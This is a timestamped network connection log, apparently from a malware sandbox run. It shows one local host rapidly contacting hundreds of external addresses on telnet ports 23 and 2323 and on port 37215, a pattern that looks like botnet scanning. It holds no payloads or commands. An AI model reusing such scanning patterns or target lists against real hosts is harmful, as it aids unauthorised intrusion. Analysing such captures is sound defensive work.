Nov 3, 2024 15:37:08.459814072 CET	23	35830	167.176.177.179	192.168.2.14
Nov 3, 2024 15:37:08.459819078 CET	23	36201	110.100.167.201	192.168.2.14
Nov 3, 2024 15:37:08.459819078 CET	47090	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:08.459847927 CET	53374	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:08.459849119 CET	36201	23	192.168.2.14	204.59.29.58
Nov 3, 2024 15:37:08.459857941 CET	35830	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:08.459857941 CET	36201	23	192.168.2.14	110.100.167.201
Nov 3, 2024 15:37:08.459871054 CET	52566	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:08.459872007 CET	36201	23	192.168.2.14	176.99.128.140
Nov 3, 2024 15:37:08.459877014 CET	56184	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:08.459887028 CET	23	49708	73.99.18.24	192.168.2.14
Nov 3, 2024 15:37:08.459897041 CET	23	51770	108.3.230.119	192.168.2.14
Nov 3, 2024 15:37:08.459920883 CET	58672	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:08.459927082 CET	23	60898	69.81.122.152	192.168.2.14
Nov 3, 2024 15:37:08.459932089 CET	44078	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:08.459934950 CET	49708	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:08.459939957 CET	23	50520	154.32.50.30	192.168.2.14
Nov 3, 2024 15:37:08.459949970 CET	2323	43406	2.242.225.206	192.168.2.14
Nov 3, 2024 15:37:08.459956884 CET	51770	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:08.459956884 CET	60898	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:08.459959030 CET	23	35286	211.194.75.181	192.168.2.14
Nov 3, 2024 15:37:08.459975958 CET	43406	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:08.459983110 CET	50520	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:08.459985018 CET	35286	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:08.460005045 CET	23	58388	71.134.193.73	192.168.2.14
Nov 3, 2024 15:37:08.460014105 CET	51396	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:08.460022926 CET	23	59944	47.253.35.131	192.168.2.14
Nov 3, 2024 15:37:08.460028887 CET	37230	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:08.460032940 CET	23	52460	27.253.80.216	192.168.2.14
Nov 3, 2024 15:37:08.460036039 CET	58388	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:08.460042953 CET	23	39788	187.103.207.15	192.168.2.14
Nov 3, 2024 15:37:08.460057974 CET	59944	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:08.460059881 CET	23	51294	158.59.156.239	192.168.2.14
Nov 3, 2024 15:37:08.460069895 CET	23	58480	92.244.50.65	192.168.2.14
Nov 3, 2024 15:37:08.460074902 CET	39788	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:08.460077047 CET	52460	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:08.460078955 CET	23	58542	19.21.233.59	192.168.2.14
Nov 3, 2024 15:37:08.460084915 CET	51294	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:08.460088968 CET	2323	38308	124.199.53.187	192.168.2.14
Nov 3, 2024 15:37:08.460107088 CET	23	60652	147.167.150.68	192.168.2.14
Nov 3, 2024 15:37:08.460108042 CET	58480	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:08.460117102 CET	23	39298	95.7.248.48	192.168.2.14
Nov 3, 2024 15:37:08.460125923 CET	58542	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:08.460125923 CET	38308	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:08.460133076 CET	23	35996	220.175.15.213	192.168.2.14
Nov 3, 2024 15:37:08.460141897 CET	23	42574	223.189.226.43	192.168.2.14
Nov 3, 2024 15:37:08.460143089 CET	60652	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:08.460151911 CET	23	37068	188.106.7.94	192.168.2.14
Nov 3, 2024 15:37:08.460160017 CET	39298	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:08.460160971 CET	23	46336	57.65.200.63	192.168.2.14
Nov 3, 2024 15:37:08.460163116 CET	35996	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:08.460170984 CET	23	49702	195.40.216.94	192.168.2.14
Nov 3, 2024 15:37:08.460176945 CET	42574	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:08.460180044 CET	23	56628	110.104.107.135	192.168.2.14
Nov 3, 2024 15:37:08.460180044 CET	37068	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:08.460194111 CET	46336	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:08.460210085 CET	56628	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:08.460211039 CET	49702	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:08.460252047 CET	39452	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:08.460252047 CET	40162	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:08.460273981 CET	40618	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:08.460279942 CET	58774	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:08.460283041 CET	46924	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:08.460300922 CET	42944	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:08.460302114 CET	34606	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:08.460308075 CET	43014	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:08.460314989 CET	41702	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:08.460335016 CET	39282	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:08.460346937 CET	50786	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:08.460347891 CET	36138	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:08.460362911 CET	47528	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:08.460364103 CET	38472	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:08.460372925 CET	34678	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:08.460382938 CET	38458	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:08.460400105 CET	53364	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:08.460403919 CET	55280	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:08.460424900 CET	36222	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:08.460433960 CET	57694	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:08.460448980 CET	59604	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:08.460453987 CET	42180	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:08.460460901 CET	33076	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:08.460468054 CET	23	38828	217.133.166.36	192.168.2.14
Nov 3, 2024 15:37:08.460477114 CET	57102	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:08.460489035 CET	48092	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:08.460493088 CET	2323	55786	42.44.11.242	192.168.2.14
Nov 3, 2024 15:37:08.460495949 CET	60342	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:08.460504055 CET	23	48132	62.98.53.29	192.168.2.14
Nov 3, 2024 15:37:08.460506916 CET	38828	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:08.460537910 CET	51558	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:08.460540056 CET	55786	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:08.460544109 CET	23	58122	193.225.59.23	192.168.2.14
Nov 3, 2024 15:37:08.460542917 CET	48132	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:08.460556030 CET	23	41614	4.246.132.96	192.168.2.14
Nov 3, 2024 15:37:08.460565090 CET	23	48144	144.24.164.98	192.168.2.14
Nov 3, 2024 15:37:08.460575104 CET	23	51048	48.53.153.29	192.168.2.14
Nov 3, 2024 15:37:08.460577965 CET	23	43494	35.107.7.74	192.168.2.14
Nov 3, 2024 15:37:08.460577965 CET	38920	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:08.460582972 CET	23	52814	186.158.159.146	192.168.2.14
Nov 3, 2024 15:37:08.460586071 CET	58122	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:08.460592985 CET	2323	41818	173.123.4.216	192.168.2.14
Nov 3, 2024 15:37:08.460599899 CET	48144	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:08.460601091 CET	41614	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:08.460604906 CET	23	60508	37.47.89.15	192.168.2.14
Nov 3, 2024 15:37:08.460612059 CET	43494	23	192.168.2.14	35.107.7.74
Nov 3, 2024 15:37:08.460612059 CET	51048	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:08.460613966 CET	52814	23	192.168.2.14	186.158.159.146
Nov 3, 2024 15:37:08.460629940 CET	41818	2323	192.168.2.14	173.123.4.216
Nov 3, 2024 15:37:08.460629940 CET	60508	23	192.168.2.14	37.47.89.15
Nov 3, 2024 15:37:08.460630894 CET	23	59760	104.70.203.187	192.168.2.14
Nov 3, 2024 15:37:08.460644007 CET	23	52838	158.98.248.155	192.168.2.14
Nov 3, 2024 15:37:08.460652113 CET	23	57016	156.65.37.226	192.168.2.14
Nov 3, 2024 15:37:08.460659981 CET	23	34126	101.46.247.29	192.168.2.14
Nov 3, 2024 15:37:08.460668087 CET	23	48934	125.253.59.164	192.168.2.14
Nov 3, 2024 15:37:08.460671902 CET	59760	23	192.168.2.14	104.70.203.187
Nov 3, 2024 15:37:08.460673094 CET	52838	23	192.168.2.14	158.98.248.155
Nov 3, 2024 15:37:08.460679054 CET	23	60060	77.107.154.14	192.168.2.14
Nov 3, 2024 15:37:08.460688114 CET	57016	23	192.168.2.14	156.65.37.226
Nov 3, 2024 15:37:08.460696936 CET	23	52926	89.178.158.237	192.168.2.14
Nov 3, 2024 15:37:08.460699081 CET	48934	23	192.168.2.14	125.253.59.164
Nov 3, 2024 15:37:08.460704088 CET	34126	23	192.168.2.14	101.46.247.29
Nov 3, 2024 15:37:08.460711956 CET	23	39390	167.166.144.245	192.168.2.14
Nov 3, 2024 15:37:08.460721016 CET	60060	23	192.168.2.14	77.107.154.14
Nov 3, 2024 15:37:08.460726976 CET	52926	23	192.168.2.14	89.178.158.237
Nov 3, 2024 15:37:08.460728884 CET	2323	52668	98.140.174.214	192.168.2.14
Nov 3, 2024 15:37:08.460740089 CET	39390	23	192.168.2.14	167.166.144.245
Nov 3, 2024 15:37:08.460747004 CET	23	40386	194.211.140.76	192.168.2.14
Nov 3, 2024 15:37:08.460756063 CET	23	49436	34.92.143.149	192.168.2.14
Nov 3, 2024 15:37:08.460767984 CET	52668	2323	192.168.2.14	98.140.174.214
Nov 3, 2024 15:37:08.460783005 CET	40386	23	192.168.2.14	194.211.140.76
Nov 3, 2024 15:37:08.460791111 CET	49436	23	192.168.2.14	34.92.143.149
Nov 3, 2024 15:37:08.460825920 CET	54724	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:08.460838079 CET	39846	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:08.460845947 CET	38146	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:08.460848093 CET	53218	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:08.460865021 CET	54374	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:08.460870981 CET	48004	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:08.460874081 CET	45648	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:08.460895061 CET	37898	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:08.460901022 CET	37416	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:08.460901976 CET	46460	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:08.460922003 CET	57034	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:08.460937977 CET	41220	37215	192.168.2.14	197.161.115.17
Nov 3, 2024 15:37:08.460949898 CET	42016	37215	192.168.2.14	41.227.204.54
Nov 3, 2024 15:37:08.460956097 CET	45658	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:08.460958004 CET	23	52286	220.201.163.92	192.168.2.14
Nov 3, 2024 15:37:08.460967064 CET	58442	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:08.460967064 CET	42028	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:08.460984945 CET	46676	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:08.460994959 CET	40892	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:08.461007118 CET	57782	37215	192.168.2.14	197.51.211.151
Nov 3, 2024 15:37:08.461011887 CET	52286	23	192.168.2.14	220.201.163.92
Nov 3, 2024 15:37:08.461015940 CET	23	46250	193.35.112.167	192.168.2.14
Nov 3, 2024 15:37:08.461025953 CET	23	47578	34.114.183.65	192.168.2.14
Nov 3, 2024 15:37:08.461034060 CET	23	54492	149.96.22.119	192.168.2.14
Nov 3, 2024 15:37:08.461045027 CET	23	39424	48.166.71.75	192.168.2.14
Nov 3, 2024 15:37:08.461050034 CET	46250	23	192.168.2.14	193.35.112.167
Nov 3, 2024 15:37:08.461051941 CET	47578	23	192.168.2.14	34.114.183.65
Nov 3, 2024 15:37:08.461054087 CET	23	58724	213.78.197.207	192.168.2.14
Nov 3, 2024 15:37:08.461064100 CET	23	43164	177.104.152.31	192.168.2.14
Nov 3, 2024 15:37:08.461065054 CET	54492	23	192.168.2.14	149.96.22.119
Nov 3, 2024 15:37:08.461072922 CET	39424	23	192.168.2.14	48.166.71.75
Nov 3, 2024 15:37:08.461074114 CET	23	39476	204.30.145.134	192.168.2.14
Nov 3, 2024 15:37:08.461081028 CET	58724	23	192.168.2.14	213.78.197.207
Nov 3, 2024 15:37:08.461087942 CET	43164	23	192.168.2.14	177.104.152.31
Nov 3, 2024 15:37:08.461108923 CET	39476	23	192.168.2.14	204.30.145.134
Nov 3, 2024 15:37:08.461111069 CET	23	53570	97.181.70.209	192.168.2.14
Nov 3, 2024 15:37:08.461121082 CET	2323	52596	176.239.168.154	192.168.2.14
Nov 3, 2024 15:37:08.461129904 CET	23	45870	93.77.214.197	192.168.2.14
Nov 3, 2024 15:37:08.461138964 CET	53570	23	192.168.2.14	97.181.70.209
Nov 3, 2024 15:37:08.461141109 CET	23	60634	102.73.14.35	192.168.2.14
Nov 3, 2024 15:37:08.461149931 CET	23	57452	217.172.159.38	192.168.2.14
Nov 3, 2024 15:37:08.461150885 CET	52596	2323	192.168.2.14	176.239.168.154
Nov 3, 2024 15:37:08.461160898 CET	23	57636	190.15.21.214	192.168.2.14
Nov 3, 2024 15:37:08.461169004 CET	60634	23	192.168.2.14	102.73.14.35
Nov 3, 2024 15:37:08.461170912 CET	2323	33312	123.238.12.9	192.168.2.14
Nov 3, 2024 15:37:08.461172104 CET	45870	23	192.168.2.14	93.77.214.197
Nov 3, 2024 15:37:08.461179018 CET	57452	23	192.168.2.14	217.172.159.38
Nov 3, 2024 15:37:08.461186886 CET	23	60064	46.111.118.134	192.168.2.14
Nov 3, 2024 15:37:08.461188078 CET	57636	23	192.168.2.14	190.15.21.214
Nov 3, 2024 15:37:08.461199045 CET	23	55474	19.66.87.102	192.168.2.14
Nov 3, 2024 15:37:08.461205959 CET	33312	2323	192.168.2.14	123.238.12.9
Nov 3, 2024 15:37:08.461208105 CET	23	56672	111.32.97.128	192.168.2.14
Nov 3, 2024 15:37:08.461219072 CET	23	40920	72.148.227.215	192.168.2.14
Nov 3, 2024 15:37:08.461226940 CET	55474	23	192.168.2.14	19.66.87.102
Nov 3, 2024 15:37:08.461227894 CET	60064	23	192.168.2.14	46.111.118.134
Nov 3, 2024 15:37:08.461234093 CET	56672	23	192.168.2.14	111.32.97.128
Nov 3, 2024 15:37:08.461241007 CET	23	55784	113.146.176.7	192.168.2.14
Nov 3, 2024 15:37:08.461251020 CET	23	39272	198.149.119.126	192.168.2.14
Nov 3, 2024 15:37:08.461253881 CET	40920	23	192.168.2.14	72.148.227.215
Nov 3, 2024 15:37:08.461260080 CET	23	48682	117.187.252.252	192.168.2.14
Nov 3, 2024 15:37:08.461275101 CET	55784	23	192.168.2.14	113.146.176.7
Nov 3, 2024 15:37:08.461288929 CET	48682	23	192.168.2.14	117.187.252.252
Nov 3, 2024 15:37:08.461288929 CET	39272	23	192.168.2.14	198.149.119.126
Nov 3, 2024 15:37:08.461324930 CET	45506	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:08.461342096 CET	58422	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:08.461348057 CET	60308	37215	192.168.2.14	197.54.205.67
Nov 3, 2024 15:37:08.461363077 CET	36828	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:08.461369038 CET	34444	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:08.461385012 CET	58394	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:08.461396933 CET	60452	37215	192.168.2.14	197.122.28.224
Nov 3, 2024 15:37:08.461407900 CET	45990	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:08.461410999 CET	38904	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:08.461427927 CET	38502	37215	192.168.2.14	41.43.89.156
Nov 3, 2024 15:37:08.461430073 CET	33800	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:08.461441994 CET	37540	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:08.461452961 CET	51398	37215	192.168.2.14	41.183.156.167
Nov 3, 2024 15:37:08.461453915 CET	41192	37215	192.168.2.14	156.87.37.60
Nov 3, 2024 15:37:08.461469889 CET	45366	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:08.461472988 CET	41986	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:08.461494923 CET	23	58084	53.179.182.227	192.168.2.14
Nov 3, 2024 15:37:08.461503983 CET	23	55804	113.166.236.48	192.168.2.14
Nov 3, 2024 15:37:08.461513042 CET	23	59648	40.202.230.225	192.168.2.14
Nov 3, 2024 15:37:08.461523056 CET	23	47268	189.9.147.99	192.168.2.14
Nov 3, 2024 15:37:08.461529970 CET	23	60482	53.6.227.181	192.168.2.14
Nov 3, 2024 15:37:08.461532116 CET	55804	23	192.168.2.14	113.166.236.48
Nov 3, 2024 15:37:08.461534023 CET	58084	23	192.168.2.14	53.179.182.227
Nov 3, 2024 15:37:08.461539984 CET	2323	53134	211.187.163.172	192.168.2.14
Nov 3, 2024 15:37:08.461541891 CET	59648	23	192.168.2.14	40.202.230.225
Nov 3, 2024 15:37:08.461549044 CET	23	38638	216.154.32.150	192.168.2.14
Nov 3, 2024 15:37:08.461551905 CET	47268	23	192.168.2.14	189.9.147.99
Nov 3, 2024 15:37:08.461560011 CET	23	40228	83.75.122.68	192.168.2.14
Nov 3, 2024 15:37:08.461565971 CET	53134	2323	192.168.2.14	211.187.163.172
Nov 3, 2024 15:37:08.461568117 CET	60482	23	192.168.2.14	53.6.227.181
Nov 3, 2024 15:37:08.461576939 CET	38638	23	192.168.2.14	216.154.32.150
Nov 3, 2024 15:37:08.461576939 CET	23	52206	163.66.150.50	192.168.2.14
Nov 3, 2024 15:37:08.461597919 CET	40228	23	192.168.2.14	83.75.122.68
Nov 3, 2024 15:37:08.461601019 CET	23	58226	194.111.203.19	192.168.2.14
Nov 3, 2024 15:37:08.461612940 CET	23	46218	200.73.4.192	192.168.2.14
Nov 3, 2024 15:37:08.461618900 CET	52206	23	192.168.2.14	163.66.150.50
Nov 3, 2024 15:37:08.461631060 CET	58226	23	192.168.2.14	194.111.203.19
Nov 3, 2024 15:37:08.461637974 CET	23	56940	182.18.189.14	192.168.2.14
Nov 3, 2024 15:37:08.461647987 CET	23	48422	94.211.102.37	192.168.2.14
Nov 3, 2024 15:37:08.461652040 CET	46218	23	192.168.2.14	200.73.4.192
Nov 3, 2024 15:37:08.461659908 CET	23	48338	158.111.45.20	192.168.2.14
Nov 3, 2024 15:37:08.461669922 CET	23	52730	76.151.198.48	192.168.2.14
Nov 3, 2024 15:37:08.461672068 CET	56940	23	192.168.2.14	182.18.189.14
Nov 3, 2024 15:37:08.461678028 CET	23	41450	192.101.222.212	192.168.2.14
Nov 3, 2024 15:37:08.461678982 CET	48422	23	192.168.2.14	94.211.102.37
Nov 3, 2024 15:37:08.461688042 CET	2323	55904	40.29.69.57	192.168.2.14
Nov 3, 2024 15:37:08.461689949 CET	48338	23	192.168.2.14	158.111.45.20
Nov 3, 2024 15:37:08.461693048 CET	52730	23	192.168.2.14	76.151.198.48
Nov 3, 2024 15:37:08.461698055 CET	23	35550	112.36.219.79	192.168.2.14
Nov 3, 2024 15:37:08.461707115 CET	41450	23	192.168.2.14	192.101.222.212
Nov 3, 2024 15:37:08.461709023 CET	23	35576	17.161.80.63	192.168.2.14
Nov 3, 2024 15:37:08.461713076 CET	55904	2323	192.168.2.14	40.29.69.57
Nov 3, 2024 15:37:08.461716890 CET	23	42744	220.79.181.27	192.168.2.14
Nov 3, 2024 15:37:08.461724043 CET	35550	23	192.168.2.14	112.36.219.79
Nov 3, 2024 15:37:08.461728096 CET	23	52664	133.246.198.193	192.168.2.14
Nov 3, 2024 15:37:08.461739063 CET	23	40266	14.48.137.200	192.168.2.14
Nov 3, 2024 15:37:08.461741924 CET	35576	23	192.168.2.14	17.161.80.63
Nov 3, 2024 15:37:08.461746931 CET	42744	23	192.168.2.14	220.79.181.27
Nov 3, 2024 15:37:08.461754084 CET	52664	23	192.168.2.14	133.246.198.193
Nov 3, 2024 15:37:08.461780071 CET	40266	23	192.168.2.14	14.48.137.200
Nov 3, 2024 15:37:08.461858034 CET	23	38002	58.180.112.255	192.168.2.14
Nov 3, 2024 15:37:08.461867094 CET	23	58130	46.254.41.21	192.168.2.14
Nov 3, 2024 15:37:08.461875916 CET	2323	50904	111.189.209.189	192.168.2.14
Nov 3, 2024 15:37:08.461894989 CET	38002	23	192.168.2.14	58.180.112.255
Nov 3, 2024 15:37:08.461898088 CET	58130	23	192.168.2.14	46.254.41.21
Nov 3, 2024 15:37:08.461905956 CET	50904	2323	192.168.2.14	111.189.209.189
Nov 3, 2024 15:37:08.461919069 CET	23	36512	12.229.181.141	192.168.2.14
Nov 3, 2024 15:37:08.461927891 CET	23	52186	86.153.95.87	192.168.2.14
Nov 3, 2024 15:37:08.461937904 CET	23	45092	70.41.158.155	192.168.2.14
Nov 3, 2024 15:37:08.461946964 CET	23	38908	4.236.6.211	192.168.2.14
Nov 3, 2024 15:37:08.461947918 CET	36512	23	192.168.2.14	12.229.181.141
Nov 3, 2024 15:37:08.461947918 CET	52186	23	192.168.2.14	86.153.95.87
Nov 3, 2024 15:37:08.461957932 CET	23	34816	2.90.198.234	192.168.2.14
Nov 3, 2024 15:37:08.461967945 CET	45092	23	192.168.2.14	70.41.158.155
Nov 3, 2024 15:37:08.461970091 CET	23	59080	95.95.105.118	192.168.2.14
Nov 3, 2024 15:37:08.461977959 CET	38908	23	192.168.2.14	4.236.6.211
Nov 3, 2024 15:37:08.461978912 CET	23	46536	200.43.66.135	192.168.2.14
Nov 3, 2024 15:37:08.461992979 CET	23	46656	59.73.242.243	192.168.2.14
Nov 3, 2024 15:37:08.461992979 CET	34816	23	192.168.2.14	2.90.198.234
Nov 3, 2024 15:37:08.462001085 CET	59080	23	192.168.2.14	95.95.105.118
Nov 3, 2024 15:37:08.462009907 CET	46536	23	192.168.2.14	200.43.66.135
Nov 3, 2024 15:37:08.462018967 CET	23	48148	154.146.183.93	192.168.2.14
Nov 3, 2024 15:37:08.462029934 CET	23	41614	54.121.110.247	192.168.2.14
Nov 3, 2024 15:37:08.462033033 CET	46656	23	192.168.2.14	59.73.242.243
Nov 3, 2024 15:37:08.462037086 CET	23	37412	14.84.132.26	192.168.2.14
Nov 3, 2024 15:37:08.462049007 CET	2323	47244	204.135.188.133	192.168.2.14
Nov 3, 2024 15:37:08.462058067 CET	48148	23	192.168.2.14	154.146.183.93
Nov 3, 2024 15:37:08.462059021 CET	23	49198	190.101.205.167	192.168.2.14
Nov 3, 2024 15:37:08.462058067 CET	41614	23	192.168.2.14	54.121.110.247
Nov 3, 2024 15:37:08.462066889 CET	37412	23	192.168.2.14	14.84.132.26
Nov 3, 2024 15:37:08.462069035 CET	23	33694	91.194.136.78	192.168.2.14
Nov 3, 2024 15:37:08.462076902 CET	23	36224	115.213.254.52	192.168.2.14
Nov 3, 2024 15:37:08.462080956 CET	23	56672	65.106.77.236	192.168.2.14
Nov 3, 2024 15:37:08.462085009 CET	23	52400	58.248.159.67	192.168.2.14
Nov 3, 2024 15:37:08.462089062 CET	23	35078	194.195.119.223	192.168.2.14
Nov 3, 2024 15:37:08.462091923 CET	49198	23	192.168.2.14	190.101.205.167
Nov 3, 2024 15:37:08.462091923 CET	47244	2323	192.168.2.14	204.135.188.133
Nov 3, 2024 15:37:08.462110043 CET	56672	23	192.168.2.14	65.106.77.236
Nov 3, 2024 15:37:08.462110996 CET	52400	23	192.168.2.14	58.248.159.67
Nov 3, 2024 15:37:08.462110996 CET	36224	23	192.168.2.14	115.213.254.52
Nov 3, 2024 15:37:08.462112904 CET	33694	23	192.168.2.14	91.194.136.78
Nov 3, 2024 15:37:08.462127924 CET	35078	23	192.168.2.14	194.195.119.223
Nov 3, 2024 15:37:08.462996960 CET	37215	35945	156.52.237.20	192.168.2.14
Nov 3, 2024 15:37:08.463032961 CET	35945	37215	192.168.2.14	156.52.237.20
Nov 3, 2024 15:37:08.463053942 CET	37215	35945	156.7.194.104	192.168.2.14
Nov 3, 2024 15:37:08.463063002 CET	37215	35945	197.121.220.202	192.168.2.14
Nov 3, 2024 15:37:08.463072062 CET	37215	35945	41.151.65.83	192.168.2.14
Nov 3, 2024 15:37:08.463080883 CET	37215	35945	197.194.109.22	192.168.2.14
Nov 3, 2024 15:37:08.463089943 CET	37215	35945	156.13.60.154	192.168.2.14
Nov 3, 2024 15:37:08.463093042 CET	35945	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.463093042 CET	35945	37215	192.168.2.14	197.121.220.202
Nov 3, 2024 15:37:08.463108063 CET	35945	37215	192.168.2.14	41.151.65.83
Nov 3, 2024 15:37:08.463116884 CET	35945	37215	192.168.2.14	197.194.109.22
Nov 3, 2024 15:37:08.463124990 CET	35945	37215	192.168.2.14	156.13.60.154
Nov 3, 2024 15:37:08.463361979 CET	37215	35945	41.10.157.251	192.168.2.14
Nov 3, 2024 15:37:08.463399887 CET	35945	37215	192.168.2.14	41.10.157.251
Nov 3, 2024 15:37:08.463413954 CET	37215	35945	197.150.58.29	192.168.2.14
Nov 3, 2024 15:37:08.463423014 CET	37215	35945	197.152.142.106	192.168.2.14
Nov 3, 2024 15:37:08.463454962 CET	35945	37215	192.168.2.14	197.150.58.29
Nov 3, 2024 15:37:08.463458061 CET	37215	35945	156.89.176.60	192.168.2.14
Nov 3, 2024 15:37:08.463458061 CET	35945	37215	192.168.2.14	197.152.142.106
Nov 3, 2024 15:37:08.463468075 CET	37215	35945	197.156.175.111	192.168.2.14
Nov 3, 2024 15:37:08.463476896 CET	37215	35945	197.83.38.26	192.168.2.14
Nov 3, 2024 15:37:08.463485956 CET	37215	35945	156.134.113.99	192.168.2.14
Nov 3, 2024 15:37:08.463494062 CET	37215	35945	41.165.77.206	192.168.2.14
Nov 3, 2024 15:37:08.463499069 CET	35945	37215	192.168.2.14	197.156.175.111
Nov 3, 2024 15:37:08.463500977 CET	35945	37215	192.168.2.14	156.89.176.60
Nov 3, 2024 15:37:08.463504076 CET	37215	35945	41.222.185.122	192.168.2.14
Nov 3, 2024 15:37:08.463514090 CET	35945	37215	192.168.2.14	197.83.38.26
Nov 3, 2024 15:37:08.463519096 CET	35945	37215	192.168.2.14	156.134.113.99
Nov 3, 2024 15:37:08.463521957 CET	35945	37215	192.168.2.14	41.165.77.206
Nov 3, 2024 15:37:08.463531017 CET	37215	35945	41.183.20.101	192.168.2.14
Nov 3, 2024 15:37:08.463536978 CET	35945	37215	192.168.2.14	41.222.185.122
Nov 3, 2024 15:37:08.463552952 CET	37215	35945	197.58.202.7	192.168.2.14
Nov 3, 2024 15:37:08.463565111 CET	37215	35945	197.3.226.84	192.168.2.14
Nov 3, 2024 15:37:08.463570118 CET	35945	37215	192.168.2.14	41.183.20.101
Nov 3, 2024 15:37:08.463577986 CET	37215	35945	41.244.244.133	192.168.2.14
Nov 3, 2024 15:37:08.463587999 CET	37215	35945	41.210.172.220	192.168.2.14
Nov 3, 2024 15:37:08.463591099 CET	35945	37215	192.168.2.14	197.58.202.7
Nov 3, 2024 15:37:08.463593960 CET	35945	37215	192.168.2.14	197.3.226.84
Nov 3, 2024 15:37:08.463594913 CET	37215	35945	41.156.187.190	192.168.2.14
Nov 3, 2024 15:37:08.463606119 CET	37215	35945	156.240.132.73	192.168.2.14
Nov 3, 2024 15:37:08.463613987 CET	37215	35945	197.221.48.42	192.168.2.14
Nov 3, 2024 15:37:08.463614941 CET	35945	37215	192.168.2.14	41.244.244.133
